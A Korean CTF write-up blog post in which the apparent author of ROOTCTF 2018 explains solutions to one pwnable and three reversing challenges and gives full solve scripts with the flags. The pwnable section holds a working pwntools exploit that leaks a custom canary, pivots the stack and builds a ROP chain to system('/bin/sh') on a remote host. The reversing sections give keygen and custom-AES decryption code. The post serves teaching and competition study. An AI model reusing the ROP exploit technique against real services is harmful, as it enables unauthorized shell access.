Pwnable - S3CretD00r (932pt)
Reversing - ROOT Login (990pt)
Reversing - CrackMe (957pt)
Reversing - MyLocker (990pt)
안녕하세요 ROOTCTF 2018 S3CretD00r, ROOT Login, CrackMe, MyLocker 출제자입니다.
ROOTCTF에 참가해주신 참가자분들께 조금이라도 도움이 되고자 풀이를 공유합니다.
Pwnable - S3CretD00r (932pt)
먼저 Pwnable S3CretD00r 문제입니다.
해당 문제의 컨셉은 Custom Canary입니다.
해당 함수에서 Custom Canary를 생성하는 코드를 볼 수 있습니다.
후에 Game을 시작하면 다음과 같이 가위바위보를 하는 코드를 목격할 수 있습니다.
rand()를 통해 가위바위보를 하는데 init 함수에서 srand를 0x100으로 고정해놨기 때문에 rand 값을 추출할 수 있습니다.
그러면 가위바위보를 무수히 많이 이길 수 있게 됩니다.
또한 가위바위보에 진 후 본인이 입력한 가위바위보 로그를 볼 수 있는데 다음과 같은 함수에서 out of bound가 일어남으로 커스텀 카나리를 릭할 수 있습니다.
후에 가위바위보에 30번 승리 후 admin 권한을 얻을 수 있는데 해당 함수에서 오버플로우 취약점이 발생하기 때문에 ROP 공격이 가능해집니다.
하지만 버퍼오버플로우가 0x10만큼 밖에 더 일어나지 않기 때문에 leave_ret같은 주소를 통해 rop 하면서 스택을 bss영역 등과 같은 주소로 돌릴 수 있습니다.
후에 해당 영역에서 leave_ret을 적절히 사용하여 라이브러리 주소를 릭하고 시스템 권한을 획득할 수 있습니다.
[solve]
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | from pwn import * from ctypes import * libc = CDLL('libc.so.6') lib = ELF('/lib/x86_64-linux-gnu/libc.so.6') def time():     libc.srand(0x100)     a = []     for i in range(0x40):         tmp = (libc.rand() % 3)         if tmp == 0:             tmp = 3         a.append(tmp)     return a r = remote('222.110.147.52', 2833) e = ELF('./secret_door') r.sendlineafter('>> ', '1') a = time() for i in range(0x10-1):     r.sendlineafter('>> ', str(a[i])) r.sendlineafter('>> ', str(1)) r.recvuntil('Do you want to view input log? (y, n)') r.sendlineafter('>> ', 'y') canary = '' for i in range(17, 17+8):     sleep(0.1)     r.recvuntil(str(i))     r.recvuntil("'")     canary += r.recvuntil("'")[:-1] cry = 0 for i in range(8):     cry += (ord(canary[i]) << (i*8)) r.sendlineafter('>> ', '1') for i in range(30):     r.sendlineafter('>> ', str(a[i+0x10])) r.sendlineafter('>> ', 'n') r.sendlineafter('>> ', '2') p_rdi = 0x4012f3 bss = 0x602A00 leaveret = 0x401288 door = 0x401217 input_read = 0x40125e payload = 'A'*0x20 payload += p64(cry) payload += 'A'*8 payload += p64(bss+0x20) payload += p64(input_read) r.sendafter('Please tell me what to do.', payload) payload = p64(p_rdi) payload += p64(e.got['read']) payload += p64(e.plt['puts']) payload += p64(door) payload += p64(cry) payload += 'A'*8 payload += p64(bss-8-16) payload += p64(leaveret) r.send(payload) sleep(1) r.recvn(1) leak = u64(r.recvn(6) + '\x00\x00') base = leak - lib.symbols['read'] system = base + lib.symbols['system'] binsh = base + next(lib.search("/bin/sh")) print 'leak : ' + hex(leak) print 'base : ' + hex(base) payload = p64(p_rdi) payload += p64(binsh) payload += p64(system) payload += 'A'*8 payload += p64(cry) payload += 'A'*8 payload += p64(bss-0x10-32) payload += p64(leaveret) r.send(payload) r.interactive() | cs | 
Flag : FLAG{B3_G00D_0r_I_W1ll_T3xt_SanTa!}
Reversing - ROOT Login (990pt)
두번째로 Reversing ROOT Login 문제입니다.
문제 init을 보시면 다음과 같이 메뉴를 출력하고 현재 시간을 알려주는 것을 확인할 수 있습니다.
또한 key를 읽어오는데 따로 파일을 주지않기 때문에 key를 알아내는 것이 관건인 문제입니다.
먼저 id 체크 루틴입니다.
먼저 입력한 id를 sub_401639에서 2진수 형태의 배열로 저장한 뒤 반복문을 통해 xor 연산을 진행하고, 4bit 2진수를 10진수로 변환한 뒤에 지정된 dowrd_602100 값과 비교합니다.
결국 입력한 id를 한문자 한문자씩 비교하는 것과 다를바 없으므로 brute force를 통해 간단히 id를 출력해낼 수 있습니다.
[print_id]
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | id_key = [7, 0, 4, 5, 4, 7, 7, 0, 4, 2, 0, 6, 6, 3, 4, 5, 4, 0, 3, 6, 1, 0, 6, 1, 7, 2, 0, 6, 1, 7, 5, 3, 4, 2, 0, 6, 1, 0, 1, 5, 6, 3, 4, 5, 4, 7, 7, 7, 7, 0, 4, 2, 7, 5, 3, 4, 5, 4, 0, 3, 6, 6, 4, 7, 7, 7, 0, 3, 6, 6, 4, 7, 7, 0, 4, 2, 7, 2, 7, 5, 0] id = ['0' for i in range(10)] mem = ['0' for i in range(4)] id_bin = '' ID = '' for length in range(len(id_key) / 8):     for bf in range(32, 127):         id[length] = chr(bf)         mem = ['0' for i in range(4)]         for i in id:             tmp = bin(ord(i))[2:].rjust(8, '0')             for i in range(8):                 mem.append(tmp[i])         check = []         for i in range(4, len(mem)):             a1 = str(int(mem[i]) ^ int(mem[i - 1]) ^ int(mem[i - 2]) ^ int(mem[i - 3]) ^ 1)             a2 = str(int(mem[i]) ^ int(mem[i - 1]) ^ int(mem[i - 3]) ^ 1)             a3 = str(int(mem[i]) ^ 1)             check.append('0' + a3 + a1 + a2)         for i in range(8):             if int(check[8 * length + i], 2) == id_key[8 * length + i]:                 c = 1             else:                 c = 0                 break         if c == 1:             c = 0             ID += chr(bf)             id[length] = chr(bf)             break print 'id : ' + ID #id : Admin@R00T | cs | 
id_check 루틴을 통과한다면 password를 입력받습니다.
password는 64글자이며, 오직 숫자와 A~F, a~f로 이루어진 문자열만 입력할 수 있습니다.
후에 pw_check 루틴입니다.
루틴은 비교적 매우 간단합나다.
key와 pw를 4byte씩 읽어와 strtoul함수를 통해 해당 문자열을 16진수 형태의 숫자로 변환합니다. (ex. "ab12" -> 0xab12)
또한 rand()값에서 2byte를 읽어온 뒤,
v11 = id ^ (key * ((rand ^ pw ^ v11) + 1) + (rand ^ pw ^ v11));
위와 같은 연산을 진행합니다.
사실 id값은 고정되어 있으며, v11변수 같은경우에는 초기값이 0입니다.
또한 rand값 같은 경우에도 프로그램이 실행되었을때, srand(time(NULL));을 동시에 초기화 시켜서 rand()값을 추출할 수 있으므로 rand값 또한 알 수 있습니다.
그렇기에 key를 추출해낼 수 있는데 (rand ^ pw ^ v11)의 값이 0이 된다면 id와 다시 xor하여 key값을 추출해낼 수 있습니다.
[get_key]
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | from ctypes import * from pwn import * context.log_level = "error" libc=CDLL('libc.so.6') ID = 'Admin@R00T' KEY = [] for i in range(10):     check = 1     result = [0]     key = ''     while 1:         libc.srand(libc.time(0))         r = remote('222.110.147.52', 2018)         rand = []         for i in range(16):             rand.append(libc.rand() & 0xffff)         r.sendlineafter('Name : ', ID)         random = ''         for i in range(check):             random += "%04X" % (rand[i] ^ result[i])         for i in range(16-check):             random += "%04X" % rand[i+check]         r.sendlineafter('Password : ', random)         r.recvuntil('Generated Password : ')         r.recv(4*(check-1))         re = int(r.recv(4), 16)         key += "%04X" % (re ^ u16(ID[(check-1)%9 : ((check-1)%9)+2]))         result.append(re)         check += 1         r.close()         if check > 16:             KEY.append(key)             break i = 0 overlap = [] score = [] count = 1 for i in range(len(KEY)):     arr = []     count = 1     try:         if i == 0: raise         overlap.index(KEY[i])     except:         for j in range(i+1, len(KEY)):             if KEY[i] == KEY[j]:                 count += 1         overlap.append(KEY[i])         arr.append(KEY[i])         arr.append(str(count))         score.append(arr) for i in range(len(score)):     print 'count : ' + str(score[i][1]) + ', key : ' + score[i][0] ''' [test1] count : 7, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C4C649C6D2F86326EFDA23982FA6  count : 1, key : 5CB6F4CA55386AB21ACA9F5565C14D924252C4C649C6D2F86326EFDA23982FA6  count : 1, key : 5CB6F4CA55386AB21ACAD7845826F74C4252C4C649C6D2F8EFE6981A23982FA6  count : 1, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C4C6F7B566D36326EFDA23982FA6  [test2] count : 1, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C50C47CCD2F86326EFDA23982FA6  count : 8, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C4C649C6D2F86326EFDA23982FA6  count : 1, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C4C649C6D2F86326EFDA23984B61  [test3] count : 9, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C4C649C6D2F86326EFDA23982FA6 count : 1, key : 5CB6F4CA55386AB21ACAA9FD64294D924252C4C649C6D2F86326EFDA23982FA6 [test4] count : 10, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C4C649C6D2F86326EFDA23982FA6 ''' | cs | 
time 시드값이 안맞아서 key값이 자주 틀리는데 여러 key추출하고 count가 높은 key를 사용하시면 됩니다.
이제 key값을 구했으니 간단한 brute force를 통해 password를 맞춰주면 flag가 나옵니다.
[solve]
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | from ctypes import * from pwn import * context.log_level = "error" libc=CDLL('libc.so.6') ID = 'Admin@R00T' key = '5CB6F4CA55386AB21ACAD784EBB84D924252C4C649C6D2F86326EFDA23982FA6' ans = '38F699AE3C54F4D8743AD79EDBEA7DA21662A08624A2BB940D4EAFB071D81FF4' #r = process('./R00T_Login') r = remote('222.110.147.52', 2018) libc.srand(libc.time(0)) r.sendlineafter('Name : ', ID) sum = 0 pw = '' rand = [] for i in range(16):     rand.append(libc.rand() & 0xffff) for i in range(16):     a1 = u16(ID[i%9 : (i%9)+2])     a3 = rand[i]     a4 = int(key[i*4:i*4+4], 16)     for bf in range(0, 0xffff+1):         a2 = bf         if (((a4 * ((sum ^ a2 ^ a3) + 1) + (sum ^ a2 ^ a3)) & 0xffff) ^ a1)== int(ans[i*4:i*4+4], 16):             pw += "%04X" % bf             sum = int(ans[i*4:i*4+4], 16)             break print 'pw : ' + pw r.sendlineafter('Password : ', pw) r.interactive() | cs | 
Flag : FLAG{Wishing_y0u_a_w0nderful_Chr1stmas_f1lled_w1th_j0y_and_laughter!!}
Reversing - CrackMe (957pt)
세 번째로, CrackMe 문제입니다.
문제 main은 비교적 간단합니다.
하나의 문자열을 입력받고 correct인지 wrong인지를 판별합니다.
srand가 고정되고, 여러 함수의 연산을 거친 뒤 최종 byte값과 비교하여 성공과 실패를 구별합니다.
400990함수 모습입니다.
입력한 input을 2진수로 바꾼 뒤 이러한 2진수 문자열들을 Run Length Encrypt를 통해 암호화 시킵니다.
3글자 이상의 중복 문자열이 있을시에는 새로운 배열에 '!' 문자를 넣고, byte_6020A0[중복수] 문자와 byte_6020A0[rand() + 2진수]를 넣습니다.
만약 중복이 없을시에는 byte_6020A0[rand() + 2진수]만 넣습니다.
rand()값은 고정이기 때문에 2진수가 0인지 1인지 알 수 있으며, '!' 문자를 넣어주기 때문에 언제 중복이 발생하는지 알 수 있어 역연산이 가능합니다.
Run Length Encrypt 암호화를 진행한 후에 400AA0함수에서 다음과 같은 연산을 진행합니다. (소스코드가 너무 길어서 다 캡쳐하지 못했습니다)
분석해보시면 처음에 문자열 2진수로 바꾸고 6bit씩 쪼개서 해당 6bit index에 존재하는 문자열로 치환하는 간단한 커스텀 base64 암호화 인 것을 알 수 있습니다.
커스텀 base64 같은 경우 table값이 해당 코드에 고정되어 있기 때문에 간단히 복호화가 가능합니다.
[solve]
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 | from ctypes import * libc = CDLL('libc.so.6')  def base64_decode(str):     b64_table = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/="     dest = []     s = []     de = []     de_str = ''     for i in str:         if i != '=':             s += de_binary_number(b64_table.index(i))     arr = []     for i in range(len(s)):         arr.append(s[i])         if (i + 1) % 8 == 0 and i != 0:             dest.append(arr)             arr = []     for i in range(len(dest)):         de.append(de_demical_number(dest[i]))     for i in range(len(de)):         de_str += chr(de[i])     return de_str def de_binary_number(str):     bin = [0 for i in range(6)]     for i in range(5, -1, -1):         bin[i] = str & 1         str >>= 1     return bin def de_demical_number(str):     num = str[0]     for i in range(1, 8):         num = num * 2 + str[i]     return num table = [ 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0x21, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x7D, 0x0C, 0xC7] str = '39xs8IzeMEDEsLl/N+ps8yHgRGB9osPSRwD1RwC7QHVdr0xx5qp/fFMCRMFFccMaRGAEcHSEnFVs8w5yI7QlRwDzleMtykO2mbSEqDRvYhfcRwCbi7hsMiJvzbSEebSEzj1yBC9sMomuwHV7K+Zs8ypBUbVdko9oRGzsR+tsMhp8msHV4c2QEP4CGKFsMsps8H7kuclvIBwRRGzRrKyi+akVRwCAIXAAdswNntZ5OIzic1LbHoP/ibd/xdw7FWBsMmfi6VmryjVs8zhSNeZYRGYmRoZmfpskXa8qOrV7IdDQRwCWXL1s8GlpFrSEL/3rRwD0UJCQ6iJs8vG4LDLW2bSEBBeoRwF9eS1sModdQDUnh+cOxBZ8qGts8uhs8CnKKXV7jHSEXFts8yN4RGz7CtJ=' string = base64_decode(str) libc.srand(2018) str_bin = [] idx = 0 while 1:     if idx >= len(string):         break     num = 1     if ord(string[idx]) == ord('!'):         num = table.index(ord(string[idx + 1]))         idx += 2     random = (libc.rand() & 0xff)     if table.index(ord(string[idx])) - random == 1:         str_bin += [1 for i in range(num)]     elif table.index(ord(string[idx])) - random == 0:         str_bin += [0 for i in range(num)]     else:         if random == 0xff:             str_bin += [1 for i in range(num)]     idx += 1 a = [] for i in range(len(str_bin)/8):     arr = []     for j in range(8):         arr.append(str_bin[i*8+j])     a.append(arr) flag = '' for i in a:     flag += chr(de_demical_number(i)) print flag #FLAG{I_w1ll_G0_t0_Y0u_lik3_The_F1rst_Sn0w} | cs | 
Flag : FLAG{I_w1ll_G0_t0_Y0u_lik3_The_F1rst_Sn0w}
Reversing - MyLocker (990pt)
마지막으로 MyLocker 문제입니다.
위 코드를 보시면 ROOT.flag 파일이 암호화 된 것을 알 수 있습니다.
또한 파일 data를 하나하나 읽어와 16byte씩 암호화를 진행하는 것을 알 수 있습니다.
후에 encrypt 함수를 보시면 AES 128bit 암호화라는 것을 추측할 수 있습니다.
제가 AES 암호화 알고리즘을 하나하나 설명하는 것보다 아래 주소에 있는 설명이 훨씬 정확하고 이해가 쉽기에 링크를 남기겠습니다.
AES 암호화 알고리즘은 https://en.wikipedia.org/wiki/Advanced_Encryption_Standard 에서 공부하실 수 있습니다.
분석을 해보신분들은 아시겠지만 S-Box의 경우 custom S-Box이기 때문에 따로 inv_S-Box를 구현하고 AES 복호화 하시면 됩니다.
[solve]
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 | #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> #include <string.h> #include <inttypes.h> void Inv_SubByte(); void Inv_ShiftRow(); void Inv_MixColumn(); void AddRoundKey(int n); void KeySchedule(int n); void InitRound(); void Decrypt(); void AES_Decrypt(); unsigned char CipherKey[11][4][4] = {      {         {0x41, 0x45 ,0x53, 0x31},         {0x32, 0x38, 0x5f, 0x43},         {0x69, 0x70, 0x68, 0x65},         {0x72, 0x4b, 0x65, 0x79}     }, }; unsigned char state[4][4] = { 0, }; unsigned char s_box[16][16] = {     {125, 12, 33, 85, 99, 20, 105, 225, 38, 214, 119, 186, 126, 4, 43, 23},     {97, 153, 83, 131, 60, 187, 235, 200, 176, 245, 42, 174, 77, 59, 224, 160},     {239, 156, 201, 147, 159, 122, 229, 45, 13, 74, 181, 25, 169, 127, 81, 96},     {95, 236, 128, 39, 89, 16, 18, 177, 49, 199, 7, 136, 51, 168, 221, 31},     {244, 90, 205, 120, 254, 192, 219, 154, 32, 121, 210, 198, 75, 62, 86, 252},     {27, 190, 24, 170, 14, 98, 183, 111, 137, 197, 41, 29, 113, 26, 241, 71},     {110, 223, 117, 28, 232, 55, 249, 226, 133, 53, 173, 231, 34, 116, 172, 150},     {115, 230, 180, 240, 206, 207, 242, 151, 234, 220, 103, 79, 65, 17, 145, 58},     {107, 138, 19, 1, 3, 189, 175, 193, 2, 15, 63, 202, 143, 30, 44, 208},     {6, 69, 179, 184, 5, 88, 228, 247, 10, 211, 188, 140, 0, 171, 216, 144},     {132, 157, 141, 167, 87, 70, 21, 94, 218, 185, 237, 253, 80, 72, 112, 108},     {146, 182, 101, 93, 204, 92, 164, 212, 22, 152, 104, 134, 100, 246, 248, 114},     {37, 209, 139, 109, 73, 162, 91, 118, 178, 36, 217, 40, 102, 161, 46, 8},     {78, 195, 250, 66, 11, 149, 76, 238, 61, 35, 194, 166, 50, 148, 123, 84},     {203, 233, 222, 196, 68, 67, 142, 52, 135, 255, 47, 155, 130, 57, 227, 124},     {251, 215, 243, 129, 158, 163, 64, 191, 56, 165, 54, 48, 213, 106, 9, 82} }; unsigned char inv_sbox[16][16] = {     {156, 131, 136, 132, 13, 148, 144, 58, 207, 254, 152, 212, 1, 40, 84, 137},      {53, 125, 54, 130, 5, 166, 184, 15, 82, 43, 93, 80, 99, 91, 141, 63},      {72, 2, 108, 217, 201, 192, 8, 51, 203, 90, 26, 14, 142, 39, 206, 234},      {251, 56, 220, 60, 231, 105, 250, 101, 248, 237, 127, 29, 20, 216, 77, 138},      {246, 124, 211, 229, 228, 145, 165, 95, 173, 196, 41, 76, 214, 28, 208, 123},      {172, 46, 255, 18, 223, 3, 78, 164, 149, 52, 65, 198, 181, 179, 167, 48},      {47, 16, 85, 4, 188, 178, 204, 122, 186, 6, 253, 128, 175, 195, 96, 87},      {174, 92, 191, 112, 109, 98, 199, 10, 67, 73, 37, 222, 239, 0, 12, 45},      {50, 243, 236, 19, 160, 104, 187, 232, 59, 88, 129, 194, 155, 162, 230, 140},      {159, 126, 176, 35, 221, 213, 111, 119, 185, 17, 71, 235, 33, 161, 244, 36},      {31, 205, 197, 245, 182, 249, 219, 163, 61, 44, 83, 157, 110, 106, 27, 134},      {24, 55, 200, 146, 114, 42, 177, 86, 147, 169, 11, 21, 154, 133, 81, 247},      {69, 135, 218, 209, 227, 89, 75, 57, 23, 34, 139, 224, 180, 66, 116, 117},      {143, 193, 74, 153, 183, 252, 9, 241, 158, 202, 168, 70, 121, 62, 226, 97},      {30, 7, 103, 238, 150, 38, 113, 107, 100, 225, 120, 22, 49, 170, 215, 32},      {115, 94, 118, 242, 64, 25, 189, 151, 190, 102, 210, 240, 79, 171, 68, 233} }; int main() {     InitRound();     Decrypt(); } void Decrypt() {     char *buffer;     int size, i, j, k, padding;     FILE *fp = fopen("ROOT.flag", "rb");     fseek(fp, 0, SEEK_END);     size = ftell(fp);     buffer = malloc(size + 1);     memset(buffer, 0, size + 1);     fseek(fp, 0, SEEK_SET);     fread(buffer, size, 1, fp);     FILE *f_enc = fopen("ROOT.flag", "wb");     for (k = 0; k < size; k += 16)     {         for (i = 0; i < 4; i++)         {             for (j = 0; j < 4; j++)             {                 state[i][j] = buffer[k + i * 4 + j];             }         }         AES_Decrypt();         for (i = 0; i < 4; i++)         {             for (j = 0; j < 4; j++)             {                 fprintf(f_enc, "%c", state[i][j]);             }         }     }     fclose(fp);     fclose(f_enc);     free(buffer); } void InitRound() {     for (int i = 0; i < 10; i++)         KeySchedule(i); } void AES_Decrypt() {     int i;     AddRoundKey(10);     for (i = 9; i > 0; i--)     {         Inv_ShiftRow();         Inv_SubByte();         AddRoundKey(i);         Inv_MixColumn();     }     Inv_ShiftRow();     Inv_SubByte();     AddRoundKey(i); } void Inv_SubByte() {     int x, y;     for (int i = 0; i < 4; i++)     {         for (int j = 0; j < 4; j++)         {             x = state[i][j] >> 4;             y = state[i][j] & 0xf;             state[i][j] = inv_sbox[x][y];         }     } } void Inv_ShiftRow() {     int tmp;     for (int i = 0; i < 4; i++)     {         for (int j = 4 - i; j < 4; j++)         {             tmp = state[i][3];             for (int k = 3; k >= 0; k--)             {                 state[i][k] = state[i][k - 1];             }             state[i][0] = tmp;         }     } } void Inv_MixColumn() {     unsigned int a;     unsigned char tmp[4], b;     int8_t matrix[4][4] =     {         { 14, 11, 13, 9 },         { 9, 14, 11, 13 },         { 13, 9, 14, 11 },         { 11, 13, 9, 14 }     };     for (int row = 0; row < 4; row++)     {         for (int i = 0; i < 4; i++)         {             a = 0, b = 0;             for (int col = 0; col < 4; col++)             {                 if (matrix[i][col] == 9)                 {                     a = state[col][row];                     for (int j = 0; j < 3; j++)                     {                         a *= 2;                         if (a >> 8)                             a = a - 256 ^ 0x1b;                     }                     a ^= state[col][row];                 }                 else if (matrix[i][col] == 11)                 {                     a = state[col][row];                     for (int j = 0; j < 2; j++)                     {                         a *= 2;                         if (a >> 8)                             a = a - 256 ^ 0x1b;                     }                     a ^= state[col][row];                     a *= 2;                     if (a >> 8)                         a = a - 256 ^ 0x1b;                     a ^= state[col][row];                 }                 else if (matrix[i][col] == 13)                 {                     a = state[col][row] * 2;                     if (a >> 8)                         a = a - 256 ^ 0x1b;                     a ^= state[col][row];                     for (int j = 0; j < 2; j++)                     {                         a *= 2;                         if (a >> 8)                             a = a - 256 ^ 0x1b;                     }                     a ^= state[col][row];                 }                 else if (matrix[i][col] == 14)                 {                     a = state[col][row];                     for (int j = 0; j < 2; j++)                     {                         a *= 2;                         if (a >> 8)                             a = a - 256 ^ 0x1b;                         a ^= state[col][row];                     }                     a *= 2;                     if (a >> 8)                         a = a - 256 ^ 0x1b;                 }                 b ^= a;             }             tmp[i] = b;         }         for (int j = 0; j < 4; j++)             state[j][row] = tmp[j];     } } void AddRoundKey(int n) {     for (int i = 0; i < 4; i++)     {         for (int j = 0; j < 4; j++)         {             state[i][j] ^= CipherKey[n][i][j];         }     } } void KeySchedule(int n) {     unsigned char Rcon[4][10] =     {         { 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 },         { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 },         { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 },         { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }     };     unsigned char tmp[4][4];     unsigned char tmp2[4];     int x, y;     for (int i = 0; i < 3; i++)     {         tmp2[i] = CipherKey[n][i + 1][3];     }     tmp2[3] = CipherKey[n][0][3];     for (int i = 0; i < 4; i++)     {         x = tmp2[i] >> 4;         y = tmp2[i] & 0xf;         tmp2[i] = s_box[x][y];     }     for (int i = 0; i < 4; i++)     {         tmp[i][0] = tmp2[i] ^ Rcon[i][n] ^ CipherKey[n][i][0];     }     for (int j = 1; j < 4; j++)     {         for (int i = 0; i < 4; i++)         {             tmp[i][j] = tmp[i][j - 1] ^ CipherKey[n][i][j];         }     }     for (int i = 0; i < 4; i++)     {         for (int j = 0; j < 4; j++)         {             CipherKey[n + 1][i][j] = tmp[i][j];         }     } } | cs | 
해당 ROOT.flag를 복호화 한다면 png파일이 생성되고 위와 같은 플래그를 확인할 수 있습니다.
Flag : FLAG{On_Th1s_Sea_Sh0wered_w1th_starlight}
마지막으로 제 2회 ROOT CTF에 참가해주신 모든 참가자분들께 깊은 감사의 인사 드립니다. (__)
작년에 열었던 제 1회 ROOT CTF에선 처음 개최해봤던 외부대회 였기에 굉장히 문제가 많았습니다.
마음고생을 하기도 했지만 같은 실수를 하지 않기 위해 더욱 열심히 하는 계기가 되었던 대회였습니다.
그렇기에 대회 퀄리티와 운영에 있어 질을 높이고, 작년에 받은 설문 내용 및 피드백을 통해 실수를 최대한 방지하고자 두달의 기간동안 열심히 준비를 하였던 것 같습니다.
물론 지금의 대회도 퀄리티가 좋다고 자부할 수는 없지만 작년에 비해 많이 노력했기에 같은 실수는 하지 않을 수 있었습니다.
그렇기에 ROOTCTF 2번의 대회 운영 및 책임을 맡으면서 제가 겪었던 실수를 3회 대회를 이어갈 후배들이 겪지않도록 다시 설문조사를 하고있습니다.
이번 대회에 있어 후기나 개선되어야할 피드백을 적어주신다면 다음 대회에 적극적으로 반영됩니다.
대회에 참가해주신 모든 참가자분들 모두 수고하셨습니다. 감사합니다! :)
'CTF' 카테고리의 다른 글
| YISF 2018 final (0) | 2018.08.23 | 
|---|---|
| YISF 2018 예선 Write up (1) | 2018.08.16 | 
| [ISITDTU CTF 2018] write up (0) | 2018.07.29 | 
| [SCTF 2018] dingJMax (0) | 2018.07.14 | 
| [RCTF 2018] cpushop (2) | 2018.05.22 |